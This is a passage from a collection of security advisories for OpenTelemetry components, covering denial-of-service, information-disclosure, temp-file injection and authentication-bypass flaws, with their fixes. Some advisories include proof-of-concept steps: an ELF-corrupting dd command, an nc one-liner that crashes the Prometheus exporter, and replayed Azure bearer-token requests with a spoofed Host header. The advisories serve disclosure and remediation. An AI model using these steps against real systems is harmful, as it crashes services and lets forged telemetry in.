bash docker run --rm -p 6379:6379 redis:7 sudo ./bin/obi
Send a command that causes Redis to return an error containing caller-supplied text:
bash redis-cli -p 6379 'NOTACMD my-secret-token-123'
Capture the exported span or inspect the local telemetry output. On a vulnerable build, the span status message contains the Redis error text, including the supplied command fragment. This demonstrates that raw Redis error text is exported into telemetry by default and that values embedded in that text, including data supplied unintentionally by a caller, can be carried into tracing systems.
Impact
This is an information disclosure and telemetry injection issue. It affects any deployment that traces Redis traffic and exports spans to collectors, logs, or dashboards. Sensitive values, tokens, or PII present in Redis error text can be exfiltrated into telemetry systems, and untrusted text can contaminate downstream analysis.
Summary
OBI's replacement ELF parser trusts section offsets, counts, and string offsets from the executable file. A crafted local ELF can make OBI dereference invalid section pointers or slice past string tables, causing the agent to panic while determining the process language.
Details
matchExeSymbols iterates over sections and uses offsets/symbol names from the unvalidated fastelf context; nil section pointers or out-of-range offsets can trigger panics during dereference/slicing.
https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/blob/cec36c1b872beba9d17956bfde75dee3249a1516/pkg/internal/exec/proclanglinux.go#L133-L165
GetCStringUnsafe and ReadStruct perform unsafe slicing and pointer conversion without guarding against out-of-range or negative offsets derived from ELF data, enabling panics on malformed input.
https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/blob/cec36c1b872beba9d17956bfde75dee3249a1516/pkg/internal/fastelf/fastelf.go#L201-L213
NewElfContextFromData trusts Shoff/Shnum/Phnum from the ELF header, converting them to int and populating sections/segments without validating offsets or ensuring ReadStruct returned non-nil.
https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/blob/cec36c1b872beba9d17956bfde75dee3249a1516/pkg/internal/fastelf/fastelf.go#L271-L296
Malformed ELF metadata can therefore crash OBI during normal process discovery.
PoC
Local testing confirms the parser panic path on the vulnerable release, but one caveat is worth noting: rerunning a previously captured malformed-ELF PoC directly against the current checkout did not reproduce the original crash. That means the parser has drifted since the vulnerable release, so reproduction should be performed against the affected release tag or commit range rather than assuming current HEAD still panics in exactly the same way.
Use a vulnerable build:
bash git checkout v0.0.0-rc.1+build make build
Create a small valid ELF and then corrupt its section-header metadata:
bash cat >/tmp/hello.c <<'EOF' int main(void) { return 0; } EOF cc -o /tmp/hello /tmp/hello.c cp /tmp/hello /tmp/hello-bad printf '\xff\xff' | dd of=/tmp/hello-bad bs=1 seek=$((0x3c)) conv=notrunc
Run the malformed executable so OBI inspects it during process discovery:
bash chmod +x /tmp/hello-bad /tmp/hello-bad &
Start OBI or trigger a rescan of processes:
bash sudo ./bin/obi
On a vulnerable build, OBI can panic while parsing the malformed ELF. If the first corruption does not hit the exact fragile path on your architecture, alter section-name or symbol-table offsets instead; the root issue is the lack of defensive validation before GetCStringUnsafe and related section lookups.
Impact
This is a local denial of service against the telemetry agent. Any local tenant or process owner able to execute a malformed binary on a monitored host can crash OBI and interrupt observability for other workloads.
Summary
A single malformed HTTP request crashes any Node.js process running the OpenTelemetry JS Prometheus exporter. The metrics endpoint (default 0.0.0.0:9464) has no error handling around URL parsing, so a request with an invalid URI causes an uncaught TypeError that terminates the process.
You are affected by this vulnerability if either of the following apply to your application:
you directly use @opentelemetry/exporter-prometheus in your code through its built-in server. your OTELMETRICSEXPORTER environment variable includes prometheus AND you use @opentelemetry/sdk-node you use @opentelemetry/auto-instrumentations-node via --require @opentelemetry/auto-instrumentations-node/register/--import @opentelemetry/auto-instrumentations-node/register
Impact
Denial of service. Any application using the OpenTelemetry Prometheus exporter’s built-in server can be crashed by a single unauthenticated network packet sent to the metrics port. No authentication, special privileges, or prior access is required.
Remediation
Update to the fixed version
Update @opentelemetry/exporter-prometheus and @opentelemetry/sdk-node to version 0.217.0 or later. Update @opentelemetry/auto-instrumentations-node to version 0.75.0 or later.
This release adds proper error handling around the URL constructor, returning an HTTP 400 response on parse failure rather than allowing the exception to propagate and crash the process.
npm install @opentelemetry/exporter-prometheus@latest
Do Not Expose the Endpoint to Untrusted Users
[!IMPORTANT] The following mitigations reduce exposure but do not fully remediate the vulnerability. Any client that can reach the metrics endpoint - including your own Prometheus scraper host if compromised - could still trigger the crash. Updating to 0.217.0 is the recommended resolution.
If updating is not immediately feasible, restrict access to the metrics endpoint so that it is not reachable by untrusted or unauthenticated network clients. For example:
Bind to localhost only by setting the host option to 127.0.0.1 when configuring the PrometheusExporter, so the port is not exposed on public or shared network interfaces
Use a firewall or network policy to restrict access to port 9464 (or whichever port you have configured) to only trusted Prometheus scrape hosts
Place the endpoint behind a reverse proxy that filters or validates incoming requests before they reach the exporter
Details
In PrometheusExporter.ts, the requestHandler calls new URL(request.url, this.baseUrl) without any error handling. Node's HTTP parser accepts absolute-form URIs (e.g. http://) for proxy compatibility, including malformed ones. When request.url is "http://", the URL constructor throws TypeError: Invalid URL. Since there is no try-catch in the handler, the exception propagates as an uncaught exception and crashes the process.
The Prometheus metrics endpoint is unauthenticated by design (Prometheus scrapes it) and binds to 0.0.0.0 by default, meaning it is reachable by any network client that can connect to the metrics port.
Proof of Concept
Start any Node.js application with the Prometheus exporter running on the default port 9464, then send a single raw TCP packet:
echo -ne 'GET http:// HTTP/1.1\r\nHost: localhost\r\n\r\n' | nc localhost 9464
The process crashes immediately with:
TypeError: Invalid URL at new URL (...) at PrometheusExporter.requestHandler (...)
Summary
A server-side authentication bypass in azureauthextension allows any party who holds a single valid Azure access token for any scope the collector's configured identity can mint for to authenticate to any OpenTelemetry receiver that uses auth: azureauth. The extension's Authenticate method does not validate incoming bearer tokens as JWTs. Instead, it calls its own configured credential to obtain an access token and compares the client's token to the result with string equality — and the scope for that server-side token request is taken from the client-supplied Host header. As a result, a token minted for any Azure resource the service principal has ever been issued a token for (ARM, Graph, Key Vault, Storage, etc.) will authenticate to the collector if the attacker picks a matching Host. Tokens are replayable for the full issued lifetime (commonly several hours for managed identity tokens).
Severity: High (CVSS 8.1). See "Threat model" below for the preconditions that inform that score.
Root cause
The extension implements both extensionauth.HTTPClient (outbound: "attach my identity to requests I send") and extensionauth.Server (inbound: "validate a credential someone presented to me"). Those two interfaces look symmetric but are not: holding a credential to present says nothing about the ability to validate a credential someone else presents. The outbound path only requires credential.GetToken(); the inbound path requires JWT signature verification against the issuer's JWKS, issuer/audience/exp/nbf checks, and an algorithm allowlist — none of which the extension does.
PR #39178 ("Implement extensionauth.HTTPClient and extensionauth.Server interface functions") added the Server path in v0.124.0 by reusing the same credential object and comparing strings. That server-side path is present in every release through v0.150.0. The outbound HTTPClient path (used by Azure exporters) is unaffected.
Details
Vulnerable code — extension/azureauthextension/extension.go:208–235:
go func (a authenticator) Authenticate(ctx context.Context, headers map[string][]string) (context.Context, error) { auth, err := getHeaderValue("Authorization", headers) if err != nil { return ctx, err } host, err := getHeaderValue("Host", headers) if err != nil { return ctx, err }
authFormat := strings.Split(auth, " ") if len(authFormat) != 2 { / ... / } if authFormat[0] != "Bearer" { / ... / }
token, err := a.getTokenForHost(ctx, host) // asks the collector's own identity if err != nil { return ctx, err } if authFormat[1] != token { // string comparison, not JWT validation return ctx, errors.New("unauthorized: invalid token") } return ctx, nil }
And getTokenForHost at extension.go:187–206:
go options := policy.TokenRequestOptions{ Scopes: []string{ fmt.Sprintf("https://%s/.default", host), // client-supplied Host chooses scope }, }
Two independent problems compose here:
1. No JWT validation. Real Entra ID bearer validation requires verifying the JWT signature against the tenant JWKS and checking iss, aud, exp, nbf, plus an algorithm allowlist. The extension does none of this. The "expected" value is a token the server mints from its own credential, not a signature to verify. Any party that already holds a valid token for the collector's identity — a co-tenant pod that shares the managed identity, any peer authenticated with the same service principal, any component that retained an Authorization: header — can replay it directly.
2. Attacker-controlled audience. The scope used to mint the "expected" token comes from the client-supplied Host header: https://<Host>/.default. The azcore credential returns a consistent token per (identity, scope) pair within the cache window, so an attacker can pick any scope the SP has been issued a token for and match it by setting Host accordingly. This is the sharper of the two flaws: it means a token leaked from an unrelated Azure integration — ARM, Graph, Key Vault, a different Storage account — authenticates to the collector.
The correct primitive is a real JWT validator — e.g. github.com/coreos/go-oidc/v3 pointed at the tenant's discovery endpoint, with audience and issuer pinned server-side from configuration, never derived from request headers.
Proof of concept
Both variants assume a collector running with azureauthextension v0.124.0–v0.150.0, configured with any credential mode and referenced from a receiver's auth: block:
yaml extensions: azureauth: managedidentity: clientid: ${CLIENTID}
receivers: otlp: protocols: http: endpoint: 0.0.0.0:4318 auth: authenticator: azureauth
service: extensions: [azureauth] pipelines: traces: receivers: [otlp] exporters: [debug]
Variant A — Replay (same scope)
The attacker controls a workload that shares the collector's managed identity (common in AKS when multiple pods bind the same UAMI). Both workloads query IMDS for https://management.azure.com/.default and receive the same cached token. The attacker replays:
POST /v1/traces HTTP/1.1 Host: management.azure.com Authorization: Bearer eyJ... # token minted for management.azure.com Content-Type: application/json
{"resourceSpans":[...]}
Authenticate calls getTokenForHost(ctx, "management.azure.com"), receives the identical cached token, and the string comparison passes.
Variant B — Scope confusion (the stronger case)
The attacker holds a token for the SP issued for a different Azure resource — say Key Vault, obtained from an entirely unrelated integration. The collector was never intended to accept Key Vault tokens. The attacker sets Host to match:
POST /v1/traces HTTP/1.1 Host: vault.azure.net Authorization: Bearer eyJ... # token minted for vault.azure.net Content-Type: application/json
{"resourceSpans":[...]}
Authenticate calls getTokenForHost(ctx, "vault.azure.net"). The collector's credential mints (or returns cached) a token for https://vault.azure.net/.default — the same token the attacker holds, because both come from the same SP issued for the same scope by the same IdP. Comparison passes. The collector accepts telemetry gated on "proof of identity to Key Vault."
In a correct implementation, the JWT's aud would be pinned server-side to a value unrelated to Host, and Variant B would fail regardless of what the attacker put in the Host header.
A small Go reproducer can be built around the extension's own test harness: the existing TestAuthenticate in extensiontest.go is effectively a demonstration of the broken behavior — it passes when the client-supplied token equals the server-side token for the given Host, which is exactly what an attacker arranges.
Impact
Vulnerability class: Improper Authentication (CWE-287), with contributing CWE-347 (Improper Verification of Cryptographic Signature — no JWT validation), CWE-294 (Authentication Bypass by Capture-replay — tokens replayable for full TTL), and CWE-290 (Authentication Bypass by Spoofing — client Host header chooses the expected scope).
Threat model / precondition. The attacker needs to already hold (or be able to obtain) a valid Azure access token issued to the collector's SP for any scope. In practice this is satisfied by: (a) controlling another workload that binds the same managed identity, (b) compromising any peer authenticated with the same SP, or (c) observing an Authorization: header from any prior legitimate request for the SP. This is what drives the 8.1 score — the precondition is non-trivial but is routine in multi-workload Azure environments.
Who is impacted. Any operator of opentelemetry-collector-contrib v0.124.0 through v0.150.0 who configured azureauthextension on a receiver's auth: block. This applies to both HTTP and gRPC receivers — gRPC receivers surface :authority as Host through the collector's header handling, so the same exploit path applies there.
Deployments most at risk: - Multi-workload Azure environments where the collector shares a managed identity with other workloads (any such workload can authenticate as an arbitrary telemetry source). - Deployments that forward Authorization: headers through proxies, service meshes, or logging pipelines (one leaked token is enough, and persists for the token TTL — typically several hours for MI tokens, not the 60-minute user-token window). - Multi-tenant environments where different customers' telemetry converges at a collector protected by this extension.
Consequences. Unauthenticated (from the collector's perspective) ingest of arbitrary traces, metrics, and logs. Downstream effects depend on the collector's exporters and include telemetry-backend poisoning, log injection (masking real attacker activity in SIEMs), metric manipulation to trigger or suppress alerts, cost-amplification against pay-per-datapoint backends, and adversarial traces that corrupt service-graph and incident-triage signals.
Not impacted. The extension's outbound extensionauth.HTTPClient path, used by Azure exporters, is unaffected. Operators who use azureauthextension only on exporters can continue doing so.
Mitigation
Until a patched release is available, remove azureauth from any receiver auth: blocks. For genuine Entra ID JWT validation on OTLP receivers, use oidcauthextension pointed at the tenant discovery URL, with audience pinned from configuration:
yaml extensions: oidc: issuerurl: https://login.microsoftonline.com/<tenant-id>/v2.0 audience: <expected-api-audience>
Resources
- PR introducing the vulnerable server-side path: #39178 - Affected versions: v0.124.0 – v0.150.0
Assisted-by: Opus 4.7
Summary
When receiving responses from the OpAMP server over HTTP, the OpAMP client allocates an unbounded buffer to read all bytes from the server, with no upper-bound on the number of bytes consumed.
This could cause memory exhaustion in the consuming application if the configured OpAMP server is attacker-controlled (or a network attacker can MitM the connection) and an extremely large body is returned in the response.
Details
#2926 introduced the initial HTTP transport components which uses ReadAsByteArrayAsync to copy the HttpResponseMessage.Content into a byte array. This code path allows an unbounded read of the entire HTTP response message.
Impact
If an application using the OpAMP client is configured to use an OpAMP server that is attacker-controlled (or a network attacker can MitM the connection) and an extremely large body is returned in the response, the application could have its memory exhausted and create a denial-of-service condition.
Mitigation
The application's configured OpAMP server needs to behave maliciously. If the OpAMP server is a well-behaved implementation, response bodies should not be excessively large.
Workarounds
None known.
Remediation
#4116 updates the OpAMP client HTTP transport to limit the maximum size of responses to 128KB.
Resources
- #2926 - #4116 - CWE-789
Summary
The OTLP disk retry feature in OpenTelemetry.Exporter.OpenTelemetryProtocol silently fell back to Path.GetTempPath() when OTELDOTNETEXPERIMENTALOTLPRETRY=disk was set but OTELDOTNETEXPERIMENTALOTLPDISKRETRYDIRECTORYPATH was not configured.
The exporter stored and loaded .blob files under fixed, signal-named subdirectories (traces, metrics, logs) beneath that shared temporary root path.
On multi-user systems where the temporary directory is accessible to other local accounts, this exposed three attack surfaces:
- Blob injection (integrity): an attacker could write crafted .blob files into the predictable path; the exporter picks them up on the next retry cycle and forwards them to the configured OTLP endpoint under the application's identity. - Telemetry disclosure (confidentiality): an attacker reads .blob files written by the application between export failures, recovering encoded telemetry payloads (spans, metric data points, log records). - Resource exhaustion (availability): an attacker deposits numerous or oversized blob files, degrading retry-loop performance or consuming disk space.
Details
Preconditions
1. OTELDOTNETEXPERIMENTALOTLPRETRY is set to disk. 2. OTELDOTNETEXPERIMENTALOTLPDISKRETRYDIRECTORYPATH is not set, causing the exporter to resolve the blob storage root using the System.IO.Path.GetTempPath() API. 3. A local attacker has read or write access to the process' temporary directory (e.g., /tmp on Linux, or %TEMP% on a multi-user Windows installation).
Exploit path
1. A target application starts with OTELDOTNETEXPERIMENTALOTLPRETRY=disk and no explicit blob directory. The exporter resolves the storage root to Path.GetTempPath(), producing paths such as %TEMP%\traces, %TEMP%\metrics, and %TEMP%\logs (or /tmp/traces etc. on Linux). 2. Injection scenario: before or during the application's retry window, an attacker writes crafted .blob files into one of those signal subdirectories. On the next retry interval (by default every 60 seconds), OtlpExporterPersistentStorageTransmissionHandler scans the directory, loads the attacker-supplied blobs, and forwards them to the configured OTLP endpoint using the application's identity and transport credentials. 3. Disclosure scenario: the attacker reads .blob files that the application wrote after a transient export failure, recovering the full serialized telemetry payloads (spans, metric data points, or log records in Protobuf encoding). 5. DoS scenario: the attacker deposits a large number of oversized blob files in the temporary subdirectories, causing the retry loop to consume excess CPU/IO processing them, potentially exhausting available disk space.
Mitigations
If an immediate upgrade to a patched version is not possible:
1. Avoid enabling disk retry in shared environments. 2. Configure a dedicated directory with strict ACL/ownership and least privilege. 3. Ensure the directory is not shared across tenants/users. 4. Monitor for unexpected .blob files or abnormal retry backlog growth.
Resources
- #7106
Summary
When exporting telemetry to a back-end/collector over HTTP using the OpenTelemetry.Exporter.OneCollector exporter, if the request results in a unsuccessful request (i.e. HTTP 4xx or 5xx), the response is read into memory with no upper-bound on the number of bytes consumed.
This could cause memory exhaustion in the consuming application if the configured back-end/collector endpoint is attacker-controlled (or a network attacker can MitM the connection) and an extremely large body is returned by the response.
Details
The HttpJsonPostTransport class reads the response body when a non-200 HTTP status code is received when exporting telemetry to aid debugging by operators so that the error response is included in the logs emitted by the exporter.
An attacker who controls the configured endpoint, or who can intercept traffic to them (MiTM), can return an arbitrarily large response body. This causes unbounded heap allocation in the consuming process, leading to high transient memory pressure, garbage-collection stalls, or an OutOfMemoryException that terminates the process.
Impact
If an application using the OneCollector exporter is configured to use a back-end/collector endpoint that is attacker-controlled (or a network attacker can MitM the connection) and an extremely large body is returned by the response the application could have its memory exhausted and create a denial-of-service condition.
Mitigation
The application's configured back-end/collector endpoint needs to behave maliciously. If the collector/back-end is a well-behaved implementation response bodies should not be excessively large if a request error occurs.
Workarounds
Use network-level controls (firewall rules, mTLS, service mesh) to prevent Man-in-the-Middle (MitM) attacks on the configured back-end/collector endpoint.
Remediation
#4117 updates the OneCollector exporter to limit the number of bytes read from the response body in an error condition to 4MiB.
Resources
- #4117
Summary
OpenTelemetry.Resources.Azure reads unbounded HTTP response bodies from the Azure VM remote instance metadata service endpoint into memory.
This would allow an attacker-controlled endpoint or one acting as a Man-in-the-Middle (MitM) to cause excessive memory allocation and possible process termination (via Out of Memory (OOM)).
Details
The AzureVmMetaDataRequestor class makes HTTP requests to the relevant Azure VM instance metadata service (http://169.254.169.254) to obtain metadata about the running process and its infrastructure.
An attacker who controls the configured endpoint, or who can intercept traffic to them (MiTM), can return an arbitrarily large response body. This causes unbounded heap allocation in the consuming process, leading to high transient memory pressure, garbage-collection stalls, or an OutOfMemoryException that terminates the process.
Impact
Denial of Service (DoS). An attacker can destabilize or crash the application by forcing unbounded memory allocation through the Azure VM instance metadata HTTP response paths.
Mitigating Factors
The application's reachable Azure VM metadata endpoint needs to behave maliciously or be subject to MitM. In normal usage response bodies should not be excessively large.
Patches
Fixed in OpenTelemetry.Resources.Azure version 1.15.0-beta.2.
The fix (#4121) introduce changes that introduce limits to HttpClient requests so that the response body is streamed rather than buffered entirely in memory. Responses greater than 4 MiB are ignored.
Workarounds
- Disable the Azure VM resource detector. - Use network-level controls (firewall rules, mTLS, service mesh) to prevent Man-in-the-Middle (MitM) attacks on the Azure VM instance metadata endpoint.
References
- #4121
Summary
The Zipkin exporter remote endpoint cache accepted unbounded key growth derived from span attributes. In high-cardinality scenarios, this could increase process memory usage over time and degrade availability.
Details
- Introduce a bounded, thread-safe LRU cache for remote endpoints. - Enforce fixed maximum size to prevent unbounded growth.
Impact
- A process using Zipkin export for client/producer spans could experience avoidable memory growth under sustained unique remote endpoint values.
Resources
#7081
OpenTelemetry eBPF Instrumentation provides eBPF instrumentation based on the OpenTelemetry standard. From 0.4.0 to before 0.8.0, a flaw in the Java agent injection path allows a local attacker controlling a Java workload to overwrite arbitrary host files when Java injection is enabled and OBI is running with elevated privileges. The injector trusted TMPDIR from the target process and used unsafe file creation semantics, enabling both filesystem boundary escape and symlink-based file clobbering. This vulnerability is fixed in 0.8.0.
Summary
The implementation details of the baggage, B3 and Jaeger processing code in the OpenTelemetry.Api and OpenTelemetry.Extensions.Propagators NuGet packages can allocate excessive memory when parsing which could create a potential denial of service (DoS) in the consuming application.
Details
Exceeding Limits
BaggagePropagator.Inject<T>() does not enforce the length limit of 8192 characters if the injected baggage contains only one item.
This change was introduced by #1048.
Excessive allocation
The following methods eagerly allocate intermediate arrays before applying size limits.
- BaggagePropagator.Extract<T>() - this change was introduced by #1048. - BaggagePropagator.Inject<T>() - this change was introduced by #1048. - B3Propagator.Extract<T>() - this change was introduced by #533. - B3Propagator.Extract<T>() - this change was introduced by #3244. - JaegerPropagator.Extract<T>() - this change was introduced by #3309.
Impact
Excessively large propagation headers, particularly in degenerate/malformed cases that consist or large numbers of delimiter characters, can allocate excessive amounts of memory for intermediate storage of parsed content relative to the size of the original input.
Mitigation
HTTP servers often set maximum limits on the length of HTTP request headers, such as Internet Information Services (IIS) which sets a default limit of 16KB and nginx which sets a default limit of 8KB.
Workarounds
Possible workarounds include:
- Configuring appropriate HTTP request header limits. - Disabling baggage and/or trace propagation.
Remediation
#7061 refactors the handling of baggage, B3 and Jaeger propagation headers to stop parsing eagerly when limits are exceeded and avoid allocating intermediate arrays.
Summary
When exporting telemetry over gRPC using the OpenTelemetry Protocol (OTLP), the exporter may parse a server-provided grpc-status-details-bin trailer during retry handling. Prior to the fix, a malformed trailer could encode an extremely large length-delimited protobuf field which was used directly for allocation, allowing excessive memory allocation and potential denial of service (DoS).
Details
#5980 introduced a retry path that parses grpc-status-details-bin to extract gRPC retry delay information for retryable responses.
On that path:
- OtlpGrpcExportClient captures grpc-status-details-bin from retryable status responses (ResourceExhausted / Unavailable). - OtlpRetry invokes GrpcStatusDeserializer.TryGetGrpcRetryDelay using this untrusted trailer value. - GrpcStatusDeserializer.DecodeBytes decoded a protobuf varint length and allocated new byte[length] without validating the bounds against the remaining payload size.
A malicious or compromised collector (or a MitM in weakly-protected deployments) could return a crafted grpc-status-details-bin payload that forces oversized allocation and memory exhaustion in the instrumented process.
Impact
If an OTLP/gRPC endpoint is attacker-controlled (or traffic is intercepted), a crafted retryable response can trigger large allocations during trailer parsing, which may exhaust memory and cause process instability/crash (availability impact / DoS).
Mitigation
The application's configured back-end/collector endpoint needs to behave maliciously. If the collector/back-end is a well-behaved implementation response bodies should not be excessively large if a request error occurs.
Workarounds
None known.
Remediation
#7064 updates GrpcStatusDeserializer to validate decoded length-delimited field sizes before allocation by ensuring the requested length is sane and does not exceed the remaining payload.
This causes malformed or truncated grpc-status-details-bin payloads to fail safely instead of attempting unbounded allocation.
Summary
When exporting telemetry to a back-end/collector over gRPC or HTTP using OpenTelemetry Protocol format (OTLP), if the request results in a unsuccessful request (i.e. HTTP 4xx or 5xx), the response is read into memory with no upper-bound on the number of bytes consumed.
This could cause memory exhaustion in the consuming application if the configured back-end/collector endpoint is attacker-controlled (or a network attacker can MitM the connection) and an extremely large body is returned by the response.
Details
https://github.com/open-telemetry/opentelemetry-dotnet/pull/6564 introduced a change to read the response body when a non-200 HTTP status code is received when exporting telemetry to aid debugging by operators so that the error response is included in the logs emitted by the exporter for both gRPC and HTTP/protobuf.
An unintended consequence of this change is that the response body is fully read into memory when received with no upper-bound.
This vulnerability was surfaced during the investigation of GHSA-w8rr-5gcm-pp58.
Impact
If an application using the OTLP exporter is configured to use a back-end/collector endpoint that is attacker-controlled (or a network attacker can MitM the connection) and an extremely large body is returned by the response the application could have its memory exhausted and create a denial-of-service condition.
Mitigation
The application's configured back-end/collector endpoint needs to behave maliciously. If the collector/back-end is a well-behaved implementation response bodies should not be excessively large if a request error occurs.
Workarounds
None known.
Remediation
#7017 updates the OTLP exporter for both gRPC and HTTP to:
- Limit the number of bytes read from the response body in an error condition to 4MiB (see https://github.com/open-telemetry/opentelemetry-proto/pull/781); - Only attempt to read the response body if OpenTelemetry error logging is enabled.
Summary
[!IMPORTANT] There is no plan to fix this issue as OpenTelemetry.Exporter.Jaeger was deprecated in 2023. It is for informational purposes only.
OpenTelemetry.Exporter.Jaeger may allow sustained memory pressure when the internal pooled-list sizing grows based on a large observed span/tag set and that enlarged size is reused for subsequent allocations. Under high-cardinality or attacker-influenced telemetry input, this can increase memory consumption and potentially cause denial of service.
Details
The Jaeger exporter conversion path can append tag/event data into pooled list structures. In affected versions, pooled allocation sizing may be influenced by large observed payloads and reused globally across later allocations, resulting in persistent oversized rentals and elevated memory pressure. In environments where telemetry attributes/events can be influenced by untrusted input and limits are increased from defaults, this may lead to process instability or denial of service.
Impact
Availability impact only. Confidentiality and integrity impacts are not expected.
Workarounds / Mitigations
Prefer maintained exporters (for example OpenTelemetry Protocol format (OTLP)) instead of the Jaeger exporter.